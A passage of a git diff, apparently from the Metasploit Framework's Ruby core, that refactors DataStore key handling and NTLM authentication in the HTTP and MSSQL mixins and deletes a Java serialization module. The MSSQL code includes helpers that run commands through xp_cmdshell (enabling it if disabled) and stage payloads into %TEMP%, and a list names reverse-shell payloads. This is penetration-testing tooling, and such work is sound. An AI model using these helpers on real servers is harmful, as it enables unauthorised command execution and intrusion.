datastore_hash[k.to_s] = self[k].to_s end + datastore_hash end # @@ -194,10 +199,9 @@ class DataStore < Hash # not include default option values. # def user_defined - @original_keys.reduce({}) do |acc, k| - acc[k] = self[k] unless @imported[k.downcase] - acc - end + reject { |k, v| + @imported[k] == true + } end # @@ -218,26 +222,40 @@ class DataStore < Hash # Completely clear all values in the hash # def clear - @options.clear - @imported.clear - @imported_by.clear - @original_keys.clear - super + self.keys.each {|k| self.delete(k) } + self end - # Yield the original-cased key + # + # Overrides the builtin 'each' operator to avoid the following exception on Ruby 1.9.2+ + # "can't add a new key into hash during iteration" + # def each(&block) - @original_keys.each do |key| - block.call(key, self[key]) + list = [] + self.keys.sort.each do |sidx| + list << [sidx, self[sidx]] end + list.each(&block) end - protected +protected - # Keep track of the original, case-sensitive key - def add_key(k) - @original_keys.add(k) unless include? k.downcase + # + # Case-insensitive key lookup + # + def find_key_case(k) + + # Scan each key looking for a match + self.each_key do |rk| + if (rk.downcase == k.downcase) + return rk + end + end + + # Fall through to the non-existent value + return k end + end ### @@ -260,7 +278,7 @@ class ModuleDataStore < DataStore # if we can't directly find it # def fetch(key) - key = key.downcase + key = find_key_case(key) val = nil val = super if(@imported_by[key] != 'self') if (val.nil? and @_module and @_module.framework) @@ -274,7 +292,7 @@ class ModuleDataStore < DataStore # Same as fetch # def [](key) - key = key.downcase + key = find_key_case(key) val = nil val = super if(@imported_by[key] != 'self') if (val.nil? and @_module and @_module.framework) @@ -297,10 +315,11 @@ class ModuleDataStore < DataStore def copy clone = self.class.new(@_module) self.keys.each do |k| - clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k.downcase], @imported_by[k.downcase]) + clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k]) end clone end end end + diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 5d6636e155..687e6eb4a6 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -2,10 +2,6 @@ require 'uri' require 'digest' -require 'rex/proto/ntlm/crypt' -require 'rex/proto/ntlm/constants' -require 'rex/proto/ntlm/utils' -require 'rex/proto/ntlm/exceptions' module Msf ### @@ -16,15 +12,6 @@ module Msf ### module Exploit::Remote::HttpClient include Msf::Auxiliary::Report - include Exploit::Remote::NTLM::Client - - # - # Constants - # - NTLM_CRYPT = Rex::Proto::NTLM::Crypt - NTLM_CONST = Rex::Proto::NTLM::Constants - NTLM_UTILS = Rex::Proto::NTLM::Utils - NTLM_XCEPT = Rex::Proto::NTLM::Exceptions # # Initializes an exploit module that exploits a vulnerability in an HTTP @@ -193,12 +180,6 @@ module Exploit::Remote::HttpClient 'uri_fake_end' => datastore['HTTP::uri_fake_end'], 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'], 'header_folding' => datastore['HTTP::header_folding'], - 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'], - 'use_ntlmv2' => datastore['NTLM::UseNTLMv2'], - 'send_lm' => datastore['NTLM::SendLM'], - 'send_ntlm' => datastore['NTLM::SendNTLM'], - 'SendSPN' => datastore['NTLM::SendSPN'], - 'UseLMKey' => datastore['NTLM::UseLMKey'], 'domain' => datastore['DOMAIN'], 'DigestAuthIIS' => datastore['DigestAuthIIS'] ) @@ -255,12 +236,6 @@ module Exploit::Remote::HttpClient evade_uri_fake_end: datastore['HTTP::uri_fake_end'], evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'], evade_header_folding: datastore['HTTP::header_folding'], - ntlm_use_ntlmv2_session: datastore['NTLM::UseNTLM2_session'], - ntlm_use_ntlmv2: datastore['NTLM::UseNTLMv2'], - ntlm_send_lm: datastore['NTLM::SendLM'], - ntlm_send_ntlm: datastore['NTLM::SendNTLM'], - ntlm_send_spn: datastore['NTLM::SendSPN'], - ntlm_use_lm_key: datastore['NTLM::UseLMKey'], ntlm_domain: datastore['DOMAIN'], digest_auth_iis: datastore['DigestAuthIIS'] }.merge(conf) diff --git a/lib/msf/core/exploit/mssql.rb b/lib/msf/core/exploit/mssql.rb index 77eacf5b4e..813592e43b 100644 --- a/lib/msf/core/exploit/mssql.rb +++ b/lib/msf/core/exploit/mssql.rb @@ -1,11 +1,6 @@ # -*- coding: binary -*- require 'msf/core' require 'msf/core/exploit/mssql_commands' -require 'rex/proto/ntlm/crypt' -require 'rex/proto/ntlm/constants' -require 'rex/proto/ntlm/utils' -require 'rex/proto/ntlm/exceptions' - module Msf @@ -21,41 +16,32 @@ module Exploit::Remote::MSSQL include Exploit::Remote::Tcp include Exploit::Remote::NTLM::Client - # - # Constants - # - NTLM_CRYPT = Rex::Proto::NTLM::Crypt - NTLM_CONST = Rex::Proto::NTLM::Constants - NTLM_UTILS = Rex::Proto::NTLM::Utils - NTLM_XCEPT = Rex::Proto::NTLM::Exceptions - # Encryption ENCRYPT_OFF = 0x00 #Encryption is available but off. ENCRYPT_ON = 0x01 #Encryption is available and on. ENCRYPT_NOT_SUP = 0x02 #Encryption is not available. ENCRYPT_REQ = 0x03 #Encryption is required. - # Paquet Type - TYPE_SQL_BATCH = 1 # (Client) SQL command - TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) - TYPE_RPC = 3 # (Client) RPC - TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, - # Request Completion, Error and Info Messages, Attention Acknowledgement - TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention - TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data + # Packet Type + TYPE_SQL_BATCH = 1 # (Client) SQL command + TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) + TYPE_RPC = 3 # (Client) RPC + TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, + # Request Completion, Error and Info Messages, Attention Acknowledgement + TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention + TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager - TYPE_TDS7_LOGIN = 16 # (Client) Login - TYPE_SSPI_MESSAGE = 17 # (Client) Login - TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 + TYPE_TDS7_LOGIN = 16 # (Client) Login + TYPE_SSPI_MESSAGE = 17 # (Client) Login + TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 # Status - STATUS_NORMAL = 0x00 - STATUS_END_OF_MESSAGE = 0x01 - STATUS_IGNORE_EVENT = 0x02 - STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ + STATUS_NORMAL = 0x00 + STATUS_END_OF_MESSAGE = 0x01 + STATUS_IGNORE_EVENT = 0x02 + STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+ - # # Creates an instance of a MSSQL exploit module. # @@ -100,16 +86,13 @@ module Exploit::Remote::MSSQL 'MsfExploit' => self, }) - ping_sock.put("\x02") - resp, saddr, sport = ping_sock.recvfrom(65535, timeout) + resp, _saddr, _sport = ping_sock.recvfrom(65535, timeout) ping_sock.close return data if not resp return data if resp.length == 0 - var = nil - return mssql_ping_parse(resp) end @@ -145,15 +128,15 @@ module Exploit::Remote::MSSQL # # Execute a system command via xp_cmdshell # - def mssql_xpcmdshell(cmd,doprint=false,opts={}) + def mssql_xpcmdshell(cmd, doprint=false, opts={}) force_enable = false begin res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts) - if(res[:errors] and not res[:errors].empty?) - if(res[:errors].join =~ /xp_cmdshell/) - if(force_enable) + if res[:errors] && !res[:errors].empty? + if res[:errors].join =~ /xp_cmdshell/ + if force_enable print_error("The xp_cmdshell procedure is not available and could not be enabled") - raise RuntimeError, "Failed to execute command" + raise RuntimeError, "Failed to execute command" else print_status("The server may have xp_cmdshell disabled, trying to enable it...") mssql_query(mssql_xpcmdshell_enable()) @@ -167,7 +150,7 @@ module Exploit::Remote::MSSQL return res rescue RuntimeError => e - if(e.to_s =~ /xp_cmdshell disabled/) + if e.to_s =~ /xp_cmdshell disabled/ force_enable = true retry end @@ -200,7 +183,7 @@ module Exploit::Remote::MSSQL idx = 0 cnt = 500 while(idx < hex.length - 1) - mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false) + mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false) idx += cnt end @@ -234,7 +217,7 @@ module Exploit::Remote::MSSQL idx = 0 cnt = 500 while(idx < hex.length - 1) - mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false) + mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false) idx += cnt end print_status("Converting the payload utilizing PowerShell EncodedCommand...") @@ -260,17 +243,17 @@ module Exploit::Remote::MSSQL while(not done) head = sock.get_once(8, timeout) - if !(head and head.length == 8) + if !(head && head.length == 8) return false end # Is this the last buffer? - if(head[1,1] == "\x01" or not check_status ) + if(head[1, 1] == "\x01" or not check_status ) done = true end # Grab this block's length - rlen = head[2,2].unpack('n')[0] - 8 + rlen = head[2, 2].unpack('n')[0] - 8 while(rlen > 0) buff = sock.get_once(rlen, timeout) @@ -302,77 +285,77 @@ module Exploit::Remote::MSSQL pkt_data = "" - pkt_hdr = [ - TYPE_PRE_LOGIN_MESSAGE, #type - STATUS_END_OF_MESSAGE, #status - 0x0000, #length - 0x0000, # SPID - 0x00, # PacketID - 0x00 #Window - ] + pkt_hdr = [ + TYPE_PRE_LOGIN_MESSAGE, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x00, # PacketID + 0x00 #Window + ] - version = [0x55010008,0x0000].pack("Vv") - encryption = ENCRYPT_NOT_SUP # off - instoptdata = "MSSQLServer\0" + version = [0x55010008, 0x0000].pack("Vv") + encryption = ENCRYPT_NOT_SUP # off + instoptdata = "MSSQLServer\0" - threadid = "\0\0" + Rex::Text.rand_text(2) + threadid = "\0\0" + Rex::Text.rand_text(2) - idx = 21 # size of pkt_data_token - pkt_data_token << [ - 0x00, # Token 0 type Version - idx , # VersionOffset - version.length, # VersionLength + idx = 21 # size of pkt_data_token + pkt_data_token << [ + 0x00, # Token 0 type Version + idx, # VersionOffset + version.length, # VersionLength - 0x01, # Token 1 type Encryption - idx = idx + version.length, # EncryptionOffset - 0x01, # EncryptionLength + 0x01, # Token 1 type Encryption + idx = idx + version.length, # EncryptionOffset + 0x01, # EncryptionLength - 0x02, # Token 2 type InstOpt - idx = idx + 1, # InstOptOffset - instoptdata.length, # InstOptLength + 0x02, # Token 2 type InstOpt + idx = idx + 1, # InstOptOffset + instoptdata.length, # InstOptLength - 0x03, # Token 3 type Threadid - idx + instoptdata.length, # ThreadIdOffset - 0x04, # ThreadIdLength + 0x03, # Token 3 type Threadid + idx + instoptdata.length, # ThreadIdOffset + 0x04, # ThreadIdLength - 0xFF - ].pack("CnnCnnCnnCnnC") + 0xFF + ].pack("CnnCnnCnnCnnC") - pkt_data << pkt_data_token - pkt_data << version - pkt_data << encryption - pkt_data << instoptdata - pkt_data << threadid + pkt_data << pkt_data_token + pkt_data << version + pkt_data << encryption + pkt_data << instoptdata + pkt_data << threadid - pkt_hdr[2] = pkt_data.length + 8 + pkt_hdr[2] = pkt_data.length + 8 - pkt = pkt_hdr.pack("CCnnCC") + pkt_data + pkt = pkt_hdr.pack("CCnnCC") + pkt_data - resp = mssql_send_recv(pkt) + resp = mssql_send_recv(pkt) - idx = 0 + idx = 0 - while resp and resp[0,1] != "\xff" and resp.length > 5 - token = resp.slice!(0,5) - token = token.unpack("Cnn") - idx -= 5 - if token[0] == 0x01 - - idx += token[1] - break - end - end - if idx > 0 - encryption_mode = resp[idx,1].unpack("C")[0] - else - #force to ENCRYPT_NOT_SUP and hope for the best - encryption_mode = ENCRYPT_NOT_SUP + while resp && resp[0, 1] != "\xff" && resp.length > 5 + token = resp.slice!(0, 5) + token = token.unpack("Cnn") + idx -= 5 + if token[0] == 0x01 + idx += token[1] + break end + end - if encryption_mode != ENCRYPT_NOT_SUP and enc_error - raise RuntimeError,"Encryption is not supported" - end - encryption_mode + if idx > 0 + encryption_mode = resp[idx, 1].unpack("C")[0] + else + # force to ENCRYPT_NOT_SUP and hope for the best + encryption_mode = ENCRYPT_NOT_SUP + end + + if encryption_mode != ENCRYPT_NOT_SUP && enc_error + raise RuntimeError,"Encryption is not supported" + end + encryption_mode end # @@ -401,14 +384,14 @@ module Exploit::Remote::MSSQL idx = 0 pkt = '' pkt_hdr = '' - pkt_hdr = [ + pkt_hdr = [ TYPE_TDS7_LOGIN, #type STATUS_END_OF_MESSAGE, #status 0x0000, #length 0x0000, # SPID - 0x01, # PacketID (unused upon specification + 0x01, # PacketID (unused upon specification # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care) - 0x00 #Window + 0x00 #Window ] pkt << [ @@ -431,19 +414,18 @@ module Exploit::Remote::MSSQL sname = Rex::Text.to_unicode( rhost ) dname = Rex::Text.to_unicode( db ) - ntlm_options = { - :signing => false, - :usentlm2_session => datastore['NTLM::UseNTLM2_session'], - :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], - :send_lm => datastore['NTLM::SendLM'], - :send_ntlm => datastore['NTLM::SendNTLM'] - } - - ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - domain_name = datastore['DOMAIN'] - ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags) + ntlm_client = ::Net::NTLM::Client.new( + user, + pass, + workstation: workstation_name, + domain: datastore['DOMAIN'], + ) + type1 = ntlm_client.init_context + # SQL 2012, at least, does not support KEY_EXCHANGE + type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE] + ntlmsspblob = type1.serialize idx = pkt.size + 50 # lengths below @@ -484,9 +466,9 @@ module Exploit::Remote::MSSQL pkt << ntlmsspblob # Total packet length - pkt[0,4] = [pkt.length].pack('V') + pkt[0, 4] = [pkt.length].pack('V') - pkt_hdr[2] = pkt.length + 8 + pkt_hdr[2] = pkt.length + 8 pkt = pkt_hdr.pack("CCnnCC") + pkt @@ -494,56 +476,36 @@ module Exploit::Remote::MSSQL # has a strange behavior that differs from the specifications # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification - resp = mssql_send_recv(pkt,15, false) + resp = mssql_send_recv(pkt, 15, false) - # Get default data - begin - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp) - # a domain.length < 3 will hit this - rescue NTLM_XCEPT::NTLMMissingChallenge + unless resp.include?("NTLMSSP") info = {:errors => []} mssql_parse_reply(resp, info) mssql_print_reply(info) return false end - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - #netbios name - default_name = blob_data[:default_name] || '' - #netbios domain - default_domain = blob_data[:default_domain] || '' - #dns name - dns_host_name = blob_data[:dns_host_name] || '' - #dns domain - dns_domain_name = blob_data[:dns_domain_name] || '' - #Client time - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' - spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - - resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key, - domain_name, default_name, default_domain, - dns_host_name, dns_domain_name, chall_MsvAvTimestamp, - spnopt, ntlm_options) - - ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags) + # Get default data + resp = resp[3..-1] + type3 = ntlm_client.init_context([resp].pack('m')) + type3_blob = type3.serialize # Create an SSPIMessage idx = 0 pkt = '' pkt_hdr = '' - pkt_hdr = [ - TYPE_SSPI_MESSAGE, #type - STATUS_END_OF_MESSAGE, #status - 0x0000, #length - 0x0000, # SPID - 0x01, # PacketID - 0x00 #Window - ] + pkt_hdr = [ + TYPE_SSPI_MESSAGE, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x01, # PacketID + 0x00 #Window + ] - pkt_hdr[2] = ntlmssp.length + 8 + pkt_hdr[2] = type3_blob.length + 8 - pkt = pkt_hdr.pack("CCnnCC") + ntlmssp + pkt = pkt_hdr.pack("CCnnCC") + type3_blob resp = mssql_send_recv(pkt) @@ -620,7 +582,7 @@ module Exploit::Remote::MSSQL pkt << dname # Total packet length - pkt[0,4] = [pkt.length].pack('V') + pkt[0, 4] = [pkt.length].pack('V') # Embedded packet lengths pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 @@ -637,7 +599,7 @@ module Exploit::Remote::MSSQL end info = {:errors => []} - info = mssql_parse_reply(resp,info) + info = mssql_parse_reply(resp, info) return false if not info info[:login_ack] ? true : false @@ -690,17 +652,17 @@ module Exploit::Remote::MSSQL print_status("SQL Query: #{info[:sql]}") - if(info[:done] and info[:done][:rows].to_i > 0) + if info[:done] && info[:done][:rows].to_i > 0 print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})") end - if(info[:errors] and not info[:errors].empty?) + if info[:errors] && !info[:errors].empty? info[:errors].each do |err| print_error(err) end end - if(info[:rows] and not info[:rows].empty?) + if info[:rows] && !info[:rows].empty? tbl = Rex::Ui::Text::Table.new( 'Indent' => 1, @@ -727,14 +689,14 @@ module Exploit::Remote::MSSQL info[:colnames] ||= [] # Parse out the columns - cols = data.slice!(0,2).unpack('v')[0] + cols = data.slice!(0, 2).unpack('v')[0] 0.upto(cols-1) do |col_idx| col = {} info[:colinfos][col_idx] = col - col[:utype] = data.slice!(0,2).unpack('v')[0] - col[:flags] = data.slice!(0,2).unpack('v')[0] - col[:type] = data.slice!(0,1).unpack('C')[0] + col[:utype] = data.slice!(0, 2).unpack('v')[0] + col[:flags] = data.slice!(0, 2).unpack('v')[0] + col[:type] = data.slice!(0, 1).unpack('C')[0] case col[:type] when 48 @@ -751,8 +713,8 @@ module Exploit::Remote::MSSQL when 34 col[:id] = :image - col[:max_size] = data.slice!(0,4).unpack('V')[0] - col[:value_length] = data.slice!(0,2).unpack('v')[0] + col[:max_size] = data.slice!(0, 4).unpack('V')[0] + col[:value_length] = data.slice!(0, 2).unpack('v')[0] col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '') when 36 @@ -760,33 +722,33 @@ module Exploit::Remote::MSSQL when 38 col[:id] = :int - col[:int_size] = data.slice!(0,1).unpack('C')[0] + col[:int_size] = data.slice!(0, 1).unpack('C')[0] when 127 col[:id] = :bigint when 165 col[:id] = :hex - col[:max_size] = data.slice!(0,2).unpack('v')[0] + col[:max_size] = data.slice!(0, 2).unpack('v')[0] when 173 col[:id] = :hex # binary(2) - col[:max_size] = data.slice!(0,2).unpack('v')[0] + col[:max_size] = data.slice!(0, 2).unpack('v')[0] - when 231,175,167,239 + when 231, 175, 167, 239 col[:id] = :string - col[:max_size] = data.slice!(0,2).unpack('v')[0] - col[:codepage] = data.slice!(0,2).unpack('v')[0] - col[:cflags] = data.slice!(0,2).unpack('v')[0] - col[:charset_id] = data.slice!(0,1).unpack('C')[0] + col[:max_size] = data.slice!(0, 2).unpack('v')[0] + col[:codepage] = data.slice!(0, 2).unpack('v')[0] + col[:cflags] = data.slice!(0, 2).unpack('v')[0] + col[:charset_id] = data.slice!(0, 1).unpack('C')[0] else col[:id] = :unknown end - col[:msg_len] = data.slice!(0,1).unpack('C')[0] + col[:msg_len] = data.slice!(0, 1).unpack('C')[0] - if(col[:msg_len] and col[:msg_len] > 0) + if col[:msg_len] && col[:msg_len] > 0 col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '') end info[:colnames] << (col[:name] || 'NULL') @@ -800,7 +762,7 @@ module Exploit::Remote::MSSQL info[:errors] = [] return if not data until data.empty? - token = data.slice!(0,1).unpack('C')[0] + token = data.slice!(0, 1).unpack('C')[0] case token when 0x81 mssql_parse_tds_reply(data, info) @@ -844,28 +806,28 @@ module Exploit::Remote::MSSQL case col[:id] when :hex str = "" - len = data.slice!(0,2).unpack('v')[0] - if(len > 0 and len < 65535) - str << data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + if len > 0 && len < 65535 + str << data.slice!(0, len) end row << str.unpack("H*")[0] when :string str = "" - len = data.slice!(0,2).unpack('v')[0] - if(len > 0 and len < 65535) - str << data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + if len > 0 && len < 65535 + str << data.slice!(0, len) end row << str.gsub("\x00", '') when :datetime - row << data.slice!(0,8).unpack("H*")[0] + row << data.slice!(0, 8).unpack("H*")[0] when :rawint - row << data.slice!(0,4).unpack('V')[0] + row << data.slice!(0, 4).unpack('V')[0] when :bigint - row << data.slice!(0,8).unpack("H*")[0] + row << data.slice!(0, 8).unpack("H*")[0] when :smallint row << data.slice!(0, 2).unpack("v")[0] @@ -878,16 +840,16 @@ module Exploit::Remote::MSSQL when :image str = '' - len = data.slice!(0,1).unpack('C')[0] - str = data.slice!(0,len) if (len and len > 0) + len = data.slice!(0, 1).unpack('C')[0] + str = data.slice!(0, len) if len && len > 0 row << str.unpack("H*")[0] when :int len = data.slice!(0, 1).unpack("C")[0] - raw = data.slice!(0, len) if (len and len > 0) + raw = data.slice!(0, len) if len && len > 0 case len - when 0,255 + when 0, 255 row << '' when 1 row << raw.unpack("C")[0] @@ -900,7 +862,7 @@ module Exploit::Remote::MSSQL when 8 row << raw.unpack('VV')[0] # XXX: missing high dword else - info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}" + info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}" end else info[:errors] << "unknown column type: #{col.inspect}" @@ -915,7 +877,7 @@ module Exploit::Remote::MSSQL # Parse a "ret" TDS token # def mssql_parse_ret(data, info) - ret = data.slice!(0,4).unpack('N')[0] + ret = data.slice!(0, 4).unpack('N')[0] info[:ret] = ret info end @@ -924,7 +886,7 @@ module Exploit::Remote::MSSQL # Parse a "done" TDS token # def mssql_parse_done(data, info) - status,cmd,rows = data.slice!(0,8).unpack('vvV') + status, cmd, rows = data.slice!(0, 8).unpack('vvV') info[:done] = { :status => status, :cmd => cmd, :rows => rows } info end @@ -933,11 +895,11 @@ module Exploit::Remote::MSSQL # Parse an "error" TDS token # def mssql_parse_error(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + buff = data.slice!(0, len) - errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') - emsg = buff.slice!(0,elen * 2) + errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv') + emsg = buff.slice!(0, elen * 2) emsg.gsub!("\x00", '') info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" @@ -948,17 +910,17 @@ module Exploit::Remote::MSSQL # Parse an "environment change" TDS token # def mssql_parse_env(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) - type = buff.slice!(0,1).unpack('C')[0] + len = data.slice!(0, 2).unpack('v')[0] + buff = data.slice!(0, len) + type = buff.slice!(0, 1).unpack('C')[0] nval = '' - nlen = buff.slice!(0,1).unpack('C')[0] || 0 - nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0 + nlen = buff.slice!(0, 1).unpack('C')[0] || 0 + nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0 oval = '' - olen = buff.slice!(0,1).unpack('C')[0] || 0 - oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0 + olen = buff.slice!(0, 1).unpack('C')[0] || 0 + oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0 info[:envs] ||= [] info[:envs] << { :type => type, :old => oval, :new => nval } @@ -969,14 +931,14 @@ module Exploit::Remote::MSSQL # Parse an "information" TDS token # def mssql_parse_info(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + buff = data.slice!(0, len) - errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') - emsg = buff.slice!(0,elen * 2) + errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv') + emsg = buff.slice!(0, elen * 2) emsg.gsub!("\x00", '') - info[:infos]||= [] + info[:infos] ||= [] info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" info end @@ -985,8 +947,8 @@ module Exploit::Remote::MSSQL # Parse a "login ack" TDS token # def mssql_parse_login_ack(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + _buff = data.slice!(0, len) info[:login_ack] = true end end diff --git a/lib/msf/core/exploit/ntlm.rb b/lib/msf/core/exploit/ntlm.rb index ff9f573a18..cd20619a21 100644 --- a/lib/msf/core/exploit/ntlm.rb +++ b/lib/msf/core/exploit/ntlm.rb @@ -17,12 +17,6 @@ module Msf module Exploit::NTLM - NTLM_CONST = ::Rex::Proto::NTLM::Constants - NTLM_CRYPT = ::Rex::Proto::NTLM::Crypt - NTLM_UTILS = ::Rex::Proto::NTLM::Utils - NTLM_BASE = ::Rex::Proto::NTLM::Base - NTLM_MESSAGE = ::Rex::Proto::NTLM::Message - module Client def initialize(info = {}) super diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index b85b6611d1..94189d5c6f 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -58,7 +58,7 @@ module Exploit::Powershell # @return [String] Encoded script def encode_script(script_in, eof = nil) opts = {} - datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/i && v }.keys.map do |k| + datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k| mod_method = k.split('::').last.intern opts[mod_method.to_sym] = true end @@ -76,7 +76,7 @@ module Exploit::Powershell # @return [String] Compressed script with decompression stub def compress_script(script_in, eof=nil) opts = {} - datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/i && v }.keys.map do |k| + datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k| mod_method = k.split('::').last.intern opts[mod_method.to_sym] = true end diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb index 7d73935782..d2c542c280 100644 --- a/lib/msf/ui/console/command_dispatcher/exploit.rb +++ b/lib/msf/ui/console/command_dispatcher/exploit.rb @@ -227,6 +227,7 @@ class Exploit 'php/meterpreter/reverse_tcp', 'php/meterpreter_reverse_tcp', 'ruby/shell_reverse_tcp', + 'nodejs/shell_reverse_tcp', 'cmd/unix/interact', 'cmd/unix/reverse', 'cmd/unix/reverse_perl', diff --git a/lib/rex/java.rb b/lib/rex/java.rb deleted file mode 100644 index b2b631924c..0000000000 --- a/lib/rex/java.rb +++ /dev/null @@ -1,3 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/java/serialization' \ No newline at end of file diff --git a/lib/rex/java/serialization.rb b/lib/rex/java/serialization.rb deleted file mode 100644 index c556ab7540..0000000000 --- a/lib/rex/java/serialization.rb +++ /dev/null @@ -1,57 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - # Include constants defining terminal and constant - # values expected in a stream. - module Serialization - STREAM_MAGIC = 0xaced - STREAM_VERSION = 5 - TC_NULL = 0x70 - TC_REFERENCE = 0x71 - TC_CLASSDESC = 0x72 - TC_OBJECT = 0x73 - TC_STRING = 0x74 - TC_ARRAY = 0x75 - TC_CLASS = 0x76 - TC_BLOCKDATA = 0x77 - TC_ENDBLOCKDATA = 0x78 - TC_RESET = 0x79 - TC_BLOCKDATALONG = 0x7A - TC_EXCEPTION = 0x7B - TC_LONGSTRING = 0x7C - TC_PROXYCLASSDESC = 0x7D - TC_ENUM = 0x7E - BASE_WIRE_HANDLE = 0x7E0000 - - SC_WRITE_METHOD = 0x01 # if SC_SERIALIZABLE - SC_BLOCK_DATA = 0x08 # if SC_EXTERNALIZABLE - SC_SERIALIZABLE = 0x02 - SC_EXTERNALIZABLE = 0x04 - SC_ENUM = 0x10 - - PRIMITIVE_TYPE_CODES = { - 'B' => 'byte', - 'C' => 'char', - 'D' => 'double', - 'F' => 'float', - 'I' => 'int', - 'J' => 'long', - 'S' => 'short', - 'Z' => 'boolean' - } - - OBJECT_TYPE_CODES = { - '[' => 'array', - 'L' => 'object' - } - - TYPE_CODES = PRIMITIVE_TYPE_CODES.merge(OBJECT_TYPE_CODES) - end - end -end - -require 'rex/java/serialization/decode_error' -require 'rex/java/serialization/encode_error' -require 'rex/java/serialization/model' -require 'rex/java/serialization/builder' \ No newline at end of file diff --git a/lib/rex/java/serialization/builder.rb b/lib/rex/java/serialization/builder.rb deleted file mode 100644 index c9e69c26a5..0000000000 --- a/lib/rex/java/serialization/builder.rb +++ /dev/null @@ -1,94 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - # This class provides a builder to help in the construction of - # Java serialized contents. - class Builder - - # Creates a Rex::Java::Serialization::Model::NewArray - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description - # @option 